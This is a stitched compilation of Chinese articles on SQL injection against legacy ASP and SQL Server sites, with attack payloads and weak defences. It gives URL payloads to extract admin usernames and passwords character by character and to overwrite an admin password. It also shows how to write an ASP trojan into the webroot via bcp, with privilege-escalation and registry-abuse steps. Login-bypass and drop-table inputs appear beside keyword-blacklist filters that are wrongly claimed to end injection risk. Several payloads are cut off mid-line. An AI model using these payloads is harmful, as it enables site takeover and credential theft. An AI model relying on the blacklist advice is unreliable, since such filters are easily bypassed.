HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select ... me(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名,当与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现字段的名称。把col_name(object_id('admin'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。
l 猜解用户名与密码
猜用户名与密码的内容最常用也是最有效的方法有:
ASCII码逐字解码法:虽然这种方法速度较慢,但肯定是可行的。基本的思路是先猜出字段的长度,然后依次猜出每一位的值。猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top&n ... nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username为用户名字段的名称,admin为表的名称),若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。如:当输入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top ... e) from TestDB.dbo.admin)=8时abc.asp运行正常,则第一个用户名的长度为8
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),若n为某一值i且abc.asp运行正常时,则i对应ASCII码就是用户名某一位值。如:当输入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,3,1)) from TestDB.dbo.admin)=80时abc.asp运行正常,则用户名的第三位为P(P的ASCII为80);
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,9,1)) from TestDB.dbo.admin)=33时abc.asp运行正常,则用户名的第9位为!(!的ASCII为80);
猜到第一个用户名及密码后,同理,可以猜出其他所有用户名与密码。注意:有时得到的密码可能是经MD5等方式加密后的信息,还需要用专用工具进行脱密。或者先改其密码,使用完后再改回来,见下面说明。
简单法:猜用户名用
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ... o.admin where username>1) , flag是admin表中的一个字段,username是用户名字段,此时abc.asp工作异常,但能得到Username的值。与上同样的方法,可以得到第二用户名,第三个用户等等,直到表中的所有用户名。
猜用户密码:HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1&nb ... B.dbo.admin where pwd>1) , flag是admin表中的一个字段,pwd是密码字段,此时abc.asp工作异常,但能得到pwd的值。与上同样的方法,可以得到第二用户名的密码,第三个用户的密码等等,直到表中的所有用户的密码。密码有时是经MD5加密的,可以改密码。
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update TestDB.dbo.admin set pwd=' ... where username='www';-- ( 1的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1;www为已知的用户名)
用同样的方法当然可把密码改原来的值。
2、利用表内容导成文件功能
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
命令行格式如下:
bcp "select * from text..foo" queryout c:/inetpub/wwwroot/runcommand.asp –c –S localhost –U sa –P foobar ('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)
六、得到系统的管理员权限
ASP木马只有USER权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限的方法有很多种:
上传木马,修改开机自动运行的.ini文件(它一重启,便死定了);
复制CMD.exe到scripts,人为制造UNICODE漏洞;
下载SAM文件,破解并获取OS的所有用户名密码;
等等,视系统的具体情况而定,可以采取不同的方法。
七、几个SQL-SERVER专用手段
1、利用xp_regread扩展存储过程修改注册表
[xp_regread]另一个有用的内置存储过程是xp_regXXXX类的函数集合(Xp_regaddmultistring,Xp_regdeletekey,Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues,Xp_regread,Xp_regremovemultistring,Xp_regwrite)。攻击者可以利用这些函数修改注册表,如读取SAM值,允许建立空连接,开机自动运行程序等。如:
exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM/CurrentControlSet/Services/lanmanserver/parameters', 'nullsessionshares' 确定什么样的会话连接在服务器可用。
exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM/CurrentControlSet/Services/snmp/parameters/validcommunities' 显示服务器上所有SNMP团体配置,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。
2、利用其他存储过程去改变服务器
xp_servicecontrol过程允许用户启动,停止服务。如:
(exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'start','server')
Xp_availablemedia 显示机器上有用的驱动器
Xp_dirtree 允许获得一个目录树
Xp_enumdsn 列举服务器上的ODBC数据源
Xp_loginconfig 获取服务器安全信息
Xp_makecab 允许用户在服务器上创建一个压缩文件
Xp_ntsec_enumdomains 列举服务器可以进入的域
Xp_terminate_process 提供进程的进程ID,终止此进程
SQL Server应用程序中的高级SQL注入
摘要:
这份文档是详细讨论SQL注入技术,它适应于比较流行的IIS+ASP+SQLSERVER平台。它讨论了哪些SQL语句能通过各种各样的方法注入到应用程序中,并且记录与攻击相关的数据确认和数据库锁定。
这份文档的预期读者为与数据库通信的WEB程序的开发者和那些扮演审核WEB应用程序的安全专家。
介绍:
SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。
当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。
一个典型的SQL语句如下:
Select id,forename,surname from authors
这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:
Select id,forename,surname from authors where forename'john' and surname='smith'
需要着重指明的是字符串'john'和'smith'被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句,
如下:
Forename:jo'hn
Surname:smith
查询语句变为:
Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
当数据库试图去执行这个查询时,它将返回如下错误:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行'hn',但是失败。如果攻击者提供特别的输入如:
Forename:jo';drop table authors—
Surname:
结果是authors表被删除,造成这种结果的原因我们稍后再讲。
看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:
Select id,forename,surname from authors where id=1234
在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用'#'限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。
我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。
这是一个提交表单页的代码,让用户输入用户名和密码:


Login Page



Login






Username:
Password:






下面是process_login.asp的代码,它是用来控制登陆的:




<%@LANGUAGE = JScript %>
<%
function trace( str ) {
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn ) {
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF) {
rso.close();
%>




ACCESS DENIED




<% Response.end return; }
else {
Session("username") = "" + rso("username");
%>

ACCESS GRANTED


Welcome, <% Response.write(rso("Username")); Response.write( "" ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>
出现问题的地方是process_lgin.asp中产生查询语句的部分:
Var sql="select * from users where username='"+username+"' and password='"+password+"'";
如果用户输入的信息如下:
Username:';drop table users—
Password:
数据库中表users将被删除,拒绝任何用户进入应用程序。'—'符号在Transact-SQL中表示忽略'—'以后的语句,';'符号表示一个查询的结束和另一个查询的开始。'—'位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。
攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:
Username:admin'—
攻击者可以使用users表中第一个用户,输入如下:
Username:' or 1=1—
更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:
Username:' union select 1,'fictional_user','some_password',1—
这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。
编写通用的ASP防SQL注入攻击程序
SQL注入被那些菜鸟级别的所谓黑客高手玩出了滋味,发现现在大部分黑客入侵都是基于SQL注入实现的,哎,谁让这个入门容易呢,好了,不说废话了,现在我开始说如果编写通用的SQL防注入程序一般的http请求不外乎get 和 post,所以只要我们在文件中过滤所有post或者get请求中的参数信息中非法字符即可,所以我们实现http 请求信息过滤就可以判断是是否受到SQL注入攻击。
  IIS传递给asp.dll的get 请求是是以字符串的形式,,当 传递给Request.QueryString数据后,asp解析器会分析Request.QueryString的信息,,然后根据"&",分出各个数组内的数据所以get的拦截如下:
  首先我们定义请求中不能包含如下字符:
'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare
  各个字符用"|"隔开,,然后我们判断的得到的Request.QueryString,具体代码如下 :
dim sql_injdata
SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
SQL_inj = split(SQL_Injdata,"|")
If Request.QueryString<>"" Then
 For Each SQL_Get In Request.QueryString
  For SQL_Data=0 To Ubound(SQL_inj)
   if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
    Response.Write "<Script Language=****>alert('SQL通用防注入系统提示↓nn请不要在参数中包含非法字符尝试注入!');history.back(-1)</Script>"
    Response.end
   end if
  next
 Next
End If
  这样我们就实现了get请求的注入的拦截,但是我们还要过滤post请求,所以我们还得继续考虑request.form,这个也是以数组形式存在的,我们只需要再进一次循环判断即可。代码如下:
If Request.Form<>"" Then
 For Each Sql_Post In Request.Form
  For SQL_Data=0 To Ubound(SQL_inj)
   if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
    Response.Write "<Script Language=****>alert('SQL通用防注入系统提示↓nn请不要在参数中包含非法字符尝试注入!nnHTTP://www.521movie.com ');history.back(-1)</Script>"
    Response.end
   end if
  next
 next
end if
  好了大功告成,我们已经实现了get和post请求的信息拦截,你只需要在conn.asp之类的打开数据库文件之前引用这个页面即可。放心的继续开发你的程序,不用再考虑是否还会受到SQL注入攻击。难道不是么?
本栏文章均来自于互联网,版权归原作者和各发布网站所有,本站收集这些文章仅供学习参考之用。任何人都不能将这些文章用于商业或者其他目的。( ProgramFan.Com )
利用instr()函数防止SQL注入攻击
学asp也有一段时间了,这几天一直在写自己的程序,也遇到了好多问题,我就不得不得考虑到一些现在的漏洞,比如,‘ 或 and 1=1等等的一些漏洞!别的先不管,今天我就来说说如何堵这个漏洞!
  记得看了一篇文章(不记得什么时候看的了),他用到了instr这个函数,具体的应该是这样的。
If instr(Request("id")," ")>0 or instr(Request("id"),"'")>0 then response.redirect "index.htm"
  当然,也也可以在then后面写你想要的!这个先不管!
  让我们先来学习instr这个函数吧:
  语法
InStr([start, ]string1, string2[, compare])
  InStr 函数的语法有以下参数:
参数 描述
start 可选。数值表达式,用于设置每次搜索的开始位置。如果省略,将从第一个字符的位置开始搜索。如果 start 包含 Null,则会出现错误。如果已指定 compare,则必须要有 start 参数。
String1 必选。接受搜索的字符串表达式。
String2
必选。要搜索的字符串表达式。
Compare 可选。指示在计算子字符串时使用的比较类型的数值。有关数值,请参阅"设置"部分。如果省略,将执行二进制比较。
compare 参数可以有以下值:
常数 值 描述
vbBinaryCompare 0 执行二进制比较。
vbTextCompare 1 执行文本比较。
  [返回值]
  InStr 函数返回以下值:
  如果 InStr 返回
  string1 为零长度 0
  string1 为 Null Null
  string2 为零长度 start
  string2 为 Null Null
  string2 没有找到 0
  在 string1 中找到 string2 找到匹配字符串的位置
  start > Len(string2) 0
  下面的示例利用 InStr 搜索字符串:
Dim SearchString, SearchChar, MyPos
SearchString ="XXpXXpXXPXXP" ' 要在其中搜索的字符串。
SearchChar = "P" ' 搜索 "P"。
MyPos = Instr(4, SearchString, SearchChar, 1) '文本比较从第四个字符开始返回 6。
MyPos = Instr(1, SearchString, SearchChar, 0) '二进制比较从第1个字符开始返回 9。
MyPos = Instr(SearchString, SearchChar) ' 返回 9。
' 缺省为二进制比较(最后一个参数省略)。
MyPos = Instr(1, SearchString, "W") ' 二进制比较从第1个字符开始返回 0 (没有找到 "W")。
  注意 InStrB 函数使用包含在字符串中的字节数据,所以 InStrB 返回的不是一个字符串在另一个字符串中第一次出现的字符位置,而是字节位置。
  总结概括:instr的功能就是: 返回字符或字符串在另一个字符串中第一次出现的位置,好了,让我们在看看哪个代码:
if instr(Request("id")," ")>0 or instr(Request("id"),"'")>0 then
  含义:比较 字符(空格)与字符(')在request("id")中的具体位置(进行二进制制比较),假如找到了(空格)与(‘)字符,那么就是then 后的语句!
  现在大家理解这个含义了吧!
  当我看第一眼的时候我就说,假如在asp?Id=90加上字符(;或,)等等一些字符时不是造样出错吗?(是,回答的肯定的:)
  估计又有人说,那我会在if instr(Request("id")," ")>0 or instr(Request("id"),"'")>0 then 语句中在加些字符,比如改为:if instr(Request("id")," ")>0 or instr(Request("id"),"'")>0 or instr(Request("id"),";")>0 or instr(Request("id"),", ")>0 then
等等,你还可以在后面加,呵呵!(这个好啊!不过比较烂:)
是,这样加上后,确实能桃过一些所谓的黑客们的手的!
  其实没必要,大家忘了instr(Request("id")," ")>0这句话了吗,他还和(空格)比较了啊!只要有这句话,那些所谓的黑客们的,and 1 = 1 不就没用了吗?
本栏文章均来自于互联网,版权归原作者和各发布网站所有,本站收集这些文章仅供学习参考之用。任何人都不能将这些文章用于商业或者其他目的。( ProgramFan.Com )
SQL注入攻击的原理及其防范措施
ASP编程门槛很低,新手很容易上路。在一段不长的时间里,新手往往就已经能够编出看来比较完美的动态网站,在功能上,老手能做到的,新手也能够做到。那么新手与老手就没区别了吗?这里面区别可就大了,只不过外行人很难一眼就看出来罢了。在界面的友好性、运行性能以及网站的安全性方面是新手与老手之间区别的三个集中点。而在安全性方面,新手最容易忽略的问题就是SQL注入漏洞的问题。用NBSI 2.0对网上的一些ASP网站稍加扫描,就能发现许多ASP网站存在SQL注入漏洞,教育网里高校内部机构的一些网站这种漏洞就更普遍了,可能这是因为这些网站大都是一些学生做的缘故吧,虽然个个都很聪明,可是毕竟没有经验,而且处于学习中,难免漏洞多多了。本文主要讲讲SQL注入的防范措施,而要明白这些防范措施的用处,须先详细讲解利用SQL注入漏洞入侵的过程。新手们看明白啦。
  相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。如这是一个正常的网址http://localhost/lawjia/show.asp?ID=444,将这个网址提交到服务器后,服务器将进行类似Select * from 表名 where 字段="&ID的查询(ID即客户端提交的参数,本例是即444),再将查询结果返回给客户端,如果这里客户端故意提交这么一个网址:
  http://localhost/lawjia/show.asp?ID=444 and user>0,这时,服务器运行Select * from 表名 where 字段=444 and user>0这样的查询,当然,这个语句是运行不下去的,肯定出错,错误信息如下:
  ·错误类型:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'sonybb' 转换为数据类型为 int 的列时发生语法错误。
/lawjia/show.asp, 第 47 行
  但是别有用心的人从这个出错信息中,可以获得以下信息:该站使用MS_SQL数据库,用ODBC连接,连接帐号名为:sonybb。所谓SQL注入(SQL Injection),就是利用程序员对用户输入数据的合法性检测不严或不检测的特点,故意从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取想得到的资料。通常别有用心者的目标是获取网站管理员的帐号和密码。比如当某个人知道网站管理员帐号存在表login中,管理员帐号名为admin,他想知道管理员密码,这里他从客户端接着提交这样一个网址:
http://localhost/lawjia/show.asp?ID=444 and (Select password from login where user_name='admin')>0,返回的出错信息如下:
  ·错误类型:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 '!@#*&admin' 转换为数据类型为 int 的列时发生语法错误。
/lawjia/show.asp, 第 47 行
  你知道吗?上面标红的部分就是管理员帐号admin的密码!虽然很复杂,让人看几遍也记不住的,但它就这样显示在你面前了,这时您就可以用这个帐号和密码接管人家的网站了!这时你可能还会说,如果他不是事先知道管理员帐号存在表login中,而且知道管理员帐号为admin,那他就不可能获得管理员密码。你错了,只要人家愿意多花时间尝试,他将可以获得数据库连接帐号权限内所能获得的所有信息!具体过程请参看网上的这篇文章:SQL注入漏洞全接触。
  当然这个过程是很烦琐的而且要花费很多的时间,如果只能以这种手动方式进行SQL注入入侵的话,那么许多存在SQL注入漏洞的ASP网站会安全很多了,不是漏洞不存在了,而是利用这个漏洞入侵的成本太高了。但是如果利用专门的黑客工具来入侵的话,那情况就大大不同了。手动方式进行SQL注入入侵至少需要半天或一天乃至很多天的时间,而利用专门的工具来入侵就只需要几分钟时间了(视网速快慢决定),再利用获得的管理帐号和密码,上传一个从网上下载的ASP后门程序,就轻易获得整个网站的管理权限了,甚至整个服务器的管理权限。最有名的一种SQL注入入侵工具是NBSI 2.0,现在已经出到2.0版本了,不过,人家正式名称不叫SQL注入入侵工具,而叫做网站安全漏洞检测工具。有了这个所谓的检测工具,使得入侵存在SQL注入漏洞的ASP网站成了小儿科的游戏,那些既不懂ASP又不懂SQL、年纪小小的男性青年常常得以在一天之内入侵十多个ASP网站,他们以此获得内心的极大满足。他们似乎也非常讲究职业道德,往往并不破坏网站数据和系统,常见的破坏方式大都仅仅是改换掉网站的主页,留下"善意的警告",如:你的网站存在SQL注入漏洞,请管理员做好防范措施!并声明"我没有破坏数据和系统",有的还要借机发布一下他的倡导:"国内网站大家不要入侵,有本事入侵小日本的!",最后,签上他的鼎鼎大名是必不可少的程序。
  如此大的成就多数情况下仅需动动鼠标就做到了。打开最新版的NBSI 2.0,如图1所示:输入地址到A区,注意网址必须是带传递参数的那种,点击右边的检测按钮,即出来B区信息,显示当前用户为sonybb的权限为PUBLIC,当前库为lawjia。有点可惜啊,如果是SA权限的话,就可以跨库注入了。不过,这个权限也足够获取该网站管理员帐号和密码了。点C区下的自动猜解按钮,即出来当前库lawjia中的各种表,哇,login表中一定是存管理员帐号和密码的吧?选中它吧,接着点击D区下的自动猜解按钮,立即出来login表里的列名称,果然是存放用户名和密码的啊,太棒了!赶快打上勾,迫不急待的点击E区下的自动猜解按钮。激动人心的时刻就要到来啦,只见唰唰地几下,帐号与密码全部出来了。剩下的事就是辨别哪一个帐号是管理员了。

图1(图中的示例网站在作者本地电脑上运行)
  不知那些没注意过SQL注入漏洞的ASP程序员们看了上图的例子,要作何感想呢?是不是觉得这个所谓的网站安全漏洞检测工具SBSI 2.0简直就是MS_SQL的企业管理器呢?只不过人家不需要帐号和密码就可以查看您数据库里的所有信息了。如果您的网站就这样被人不费吹灰之力入侵了,您是不是要吐几升血了呢?也许您已经为系统安全费尽心思了,装补丁、安防火墙、装杀毒软件、巧妙配置IIS及数据库用户权限,但您就是没有注意到SQL注入漏洞,于是"千里之堤,溃于蚁穴"。防火墙与杀毒软件对SQL注入是没办法防范的,因为SQL注入入侵跟普通的WEB页面访问没什么区别,所以往往是防不甚防。而且一个服务器上放置的网站往往是有很多个的,服务器管理员不可能挨个网站挨个页面的审查其是否存在SQL注入漏洞。那么应该如何防范SQL注入入侵呢?作为服务器管理员或网站程序员应该分别怎么做呢?服务器管理员要做的事主要是配置IIS和数据库用户权限,而网站程序员主要是要在程序代码编写上防范SQL注入入侵。下面详细叙述:
  对了服务器管理员,既然你不可能挨个检查每个网站是否存在SQL注入漏洞,那么就来个一个绝招。这个绝招能有效防止SQL注入入侵而且"省心又省力,效果真好!"SQL注入入侵是根据IIS给出的ASP错误提示信息来入侵的,如果你把IIS设置成不管出什么样的ASP错误,只给出一种错误提示信息,即http 500错误,那么人家就没办法入侵了。具体设置请参看图2。主要把500:100这个错误的默认提示页面 C:/WINDOWS/Help/iisHelp/common/500-100.asp改成
C:/WINDOWS/Help/iisHelp/common/500.htm即可,这时,无论ASP运行中出什么错,服务器都只提示HTTP 500错误。

图2、IIS出错信息设置

  但是这样设置一个不好的地方是程序员编写的代码出错时,服务器不给出详细的错误提示信息,会给程序员带来很大的不便。不过,服务器毕竟不是测试代码的地方,应坚持安全稳定第一,这样设置也是无可厚非的,事实上许多服务器的出错信息都是如此设置。
  服务器管理员还应在IIS中为每个网站设置好执行权限,可千万别给人家静态网站以"脚本和可执行"权限。一般情况下给个"纯脚本"权限就够了,对于那些通过网站后台管理中心上传的文件存放的目录,就更吝啬一点吧,执行权限设为"无"好了,这样做是为了防止人家上传ASP木马,执行权限设为"无",人家上传ASP木马也运行不了。一般情况下,SQL注入漏洞仅是涉及一个网站安全的事,如果人家通过这个漏洞上传了ASP木马并运行起来,那整个服务器都失陷了。所以有远见的、有责任心的服务器管理员应该十分吝啬的配置IIS的执行权限。
  同样的吝啬态度应适用于数据库用户的权限配置上,当然这里数据库是指MS_SQL啦,ACCESS都没有用户权限配置这一步骤。如果PUBLIC权限足够使用的绝不给再高的权限,可千万别把SA级别的权限随随便便地给人家啊。那个所谓的网站安全漏洞检测工具NBSI 2.0可有跨库进行SQL注入的功能啊,如果你把SA权限给了存在SQL注入漏洞的库,那其它库就不保啦!城门失火,殃及池鱼呀。而人家还可以通过调用xp_cmdshell命令得到系统的最高权限。具体步骤还是请参看上面提到的那篇《SQL注入漏洞全接触》这篇文章吧。
  接下来要讲讲程序员的防范措施了。程序主要要做两件事,最重要的一件事,当然是对客户端提交的变量参数进行仔细地检测啦。对客户端提交的变量进行检查以防止SQL注入,有各种方法,到http://community.csdn.net/上搜索一下,你能获得许多有益信息。这里介绍一种现成的方法,别人已经写好了检测代码,拿来用一下,不用自己辛苦啦。那就是"枫叶SQL通用防注入V1.0 ASP版",这是一段对用户通过网址提交过来的变量参数进行检查的代码,发现客户端提交的参数中有"exec、insert、select、delete、from、update、count、user、xp_cmdshell、add、net、Asc"等用于SQL注入的常用字符时,立即停止执行ASP并给出警告信息或转向出错页面。大家可以到网上搜索一下,下载这段代码,存为一个ASP页面,如checkSQL.asp,把这个页面include到每个需要带参数查询SQL数据库ASP页面中,记住,只要加一行这样的代码就行了。
  程序员要做的第二件事是给用户密码加密啦。比如用MD5加密。MD5是没有反向算法,不能解密的。人家即使知道经加密后存在数据库里的像乱码一样的密码,他也没办法知道原始密码了。不过,人家可以用UPDATE方法用他的密码代替你的密码,但这个操作还是有点麻烦,人家可能会怕麻烦而放弃。而那个所谓的网站安全漏洞检测工具NBSI 2.0是没有提供UPDATE操作功能的,所以用MD5加密后,人家仅用NBSI 2.0而不辅以手动操作的话,就不可能获得网站管理员帐号的密码,这将挡住许多菜鸟级的攻击者,至少那些既不懂ASP又不懂SQL、年纪小小的男性青年是没有办法啦!
  文章写到这,已经够长了,本来还想对那些所谓的网站安全漏洞检测工具如NBSI之流的黑客工具进行一番理性的探讨的,看来还是放弃好了。为了增强网站安全,了解攻击手段是必须的,但是,利用漏洞开发专门的黑客工具,使那些其实并不具备必要的网络技术和网络安全知识的人(就是文中提到的"既不懂ASP又不懂SQL、年纪小小的男性青年")轻而易举地侵入一家网站,这除了为许多网络管理员制造麻烦外,是否还具有加强网络安全意识提高网络安全水平的功效呢?
跨站式SQL注入技巧
学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
  (A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
  Select * from 表名 where 字段=49
  注入的参数为ID=49 And [查询条件],即是生成语句:
  Select * from 表名 where 字段=49 And [查询条件]

  (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
  Select * from 表名 where 字段=’连续剧’
  注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
  Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
  (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
  Select * from 表名 where 字段like ’%关键字%’
  注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
  Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
接着,将查询条件替换成SQL语句,猜解表名,例如:
  ID=49 And (Select Count(*) from Admin)>=0
如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。
有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。
最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。
我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:
  http://www.19cn.com/showdetail.asp?id=49 ;;and (select top 1 len(username) from Admin)>0
先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8
当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:
  id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。
第二节、SQL注入常用函数
有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。
  Access:asc(字符) SQLServer:unicode(字符)
  作用:返回某字符的ASCII码
  Access:chr(数字) SQLServer:nchar(数字)
  作用:与asc相反,根据ASCII码返回字符
  Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
  作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
  Access:abc(数字) SQLServer:abc (数字)
  作用:返回数字的绝对值(在猜解汉字的时候会用到)
  Access:A between B And C SQLServer:A between B And C
  作用:判断A是否界于B与C之间
第三节、中文处理方法
在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。
先说一点常识:
Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。
防范Sql注入式攻击
Sql注入式攻击是指利用设计上的漏洞,在目标服务器上运行Sql 命令以及进行其他方式的攻击
动态生成Sql命令时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因
比如一个在线书店,可以根据用户的输入关键字搜索相关的图书。
string name = GetUserInput("BookName");
string script = "select table_book where book_name? like? N'%" + name + RunSql(script)
RunSql(script);
如果
name? = " ' select @@servername where '' = ' ";
这样就可以得到DB Server的名字

还以在线书店为例,用户只有登陆后才能察看自己的帐户信息,这样做是无可置疑的,然而用户验证的代码如下
//id和password直接来自用户的输入。未做处理
string id = GetUserInput("UserID");
string password = GetUserInput("UserPassword");
tring script = "select * from table_user where User_ID = '" + id? + "' and User_Password? = '" + password? + "' ";
RunSql(script);
如果用户输入的password为“ or ''=' ”,那么生成的script就为
select * from table_user where User_ID = 'UserID' and User_Password? = ' ' or ''=' '
这样一来,即使不知道用户的密码也可以察看该用户的帐户信息了
再比如,入侵者会把一些巧妙伪装的代码嵌入到你动态生成的Sql命令中,比如
Delete table_Book where 1 = 1? ...
use master--

上面的例子都是一些简单的示例,攻击者还可能通过sql的漏洞对操作系统进行攻击,比如运行
[xp_cmdshell],[xp_regread]
当然实际上的攻击没有这么简单,攻击者还会利用系统设计的其他漏洞。比如程序把数据库返回的出错信息没有进行转换就直接输出给用户看,那么攻击者就设计一些sql语句诱导系统返回需要的信息

从上面的这些例子可以看出,对数据库访问权限的设计不当,给与每一个数据库连接太多的权限,甚至dbo或sa的权限,也是sql注入式攻击利用的主要漏洞之一。
?
防范sql注入式攻击
最小权限原则。特别是不要用dbo或者sa账户,为不同的类型的动作或者组建使用不同的账户,最小权限原则适用于所有与安全有关的场合
对用户输入进行检查。对一些特殊字符,比如单引号,双引号,分号,逗号,冒号,连接号等进行转换或者过滤;使用强数据类型,比如你需要用户输入一个整数,就要把用户输入的数据转换成整数形式;限制用户输入的长度等等。这些检查要放在server运行,client提交的任何东西都是不可信的
使用存储过程,如果一定要使用sq语句,那么用标准的方式组建sql语句,比如可以利用parameters对象,避免用字符串直接拼sq命令。
